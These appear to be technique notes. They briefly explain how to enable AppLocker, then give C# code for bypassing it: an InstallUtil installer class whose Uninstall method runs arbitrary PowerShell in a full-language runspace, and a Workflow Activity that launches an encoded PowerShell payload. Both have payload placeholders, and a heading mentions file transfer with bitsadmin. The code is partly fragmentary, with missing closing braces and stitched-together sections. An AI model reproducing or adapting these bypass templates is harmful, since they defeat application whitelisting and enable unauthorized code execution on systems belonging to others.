In Group Policy Editor (gpedit) navigate to Local Computer Policy -> Computer Configuration -> Windows Settings -> Security Settings -> Application Control Policies and select the AppLocker
In the Properties menu, enable AppLocker rules for Executables, Windows Installer files, scripts, and packaged apps. DLL's can be enabled as well in Advanced Tab.
For each category, select Configured and Apply.
Now open one of the categories and right-click. Select "Create Default Rules".
Take the time to inspect each ruleset. When you're done run gpupdate /force from an admin command prompt or powershell session. Below will be a few defense evasion techniques.
View Blocked Execution
EventViewer -> Applications and Services Logs -> Microsoft -> Windows -> AppLocker
using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Configuration.Install;
namespace Bypass
{
class Program
{
static void Main(string[] args)
{
Console.WriteLine("This is the main method which is a decoy");
}
}
[System.ComponentModel.RunInstaller(true)]
public class Sample : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
//String cmd = "REPLACE ME WITH PAYLOAD"
String cmd = "$ExecutionContext.SessionState.LanguageMode | Out-File -FilePath C:\\Users\\Rick.Sanchez\\test.txt";
Runspace rs = RunspaceFactory.CreateRunspace();
rs.Open();
PowerShell ps = PowerShell.Create();
ps.Runspace = rs;
ps.AddScript(cmd);
ps.Invoke();
rs.Close();
}
Using Uninstalls to bypass Applocker and bitsadmin to transfer file
using System;
using System.Diagnostics;
using System.Workflow.ComponentModel;
public class Run : Activity{
public Run() {
Process process = new Process();
// Configure the process using the StartInfo properties.
process.StartInfo.FileName = "powershell.exe";
process.StartInfo.Arguments = "powershell.exe -enc <ENCODED PS Payload>";
process.StartInfo.WindowStyle = ProcessWindowStyle.Normal;
process.Start();
process.WaitForExit();
Console.WriteLine("I executed!");
}
}
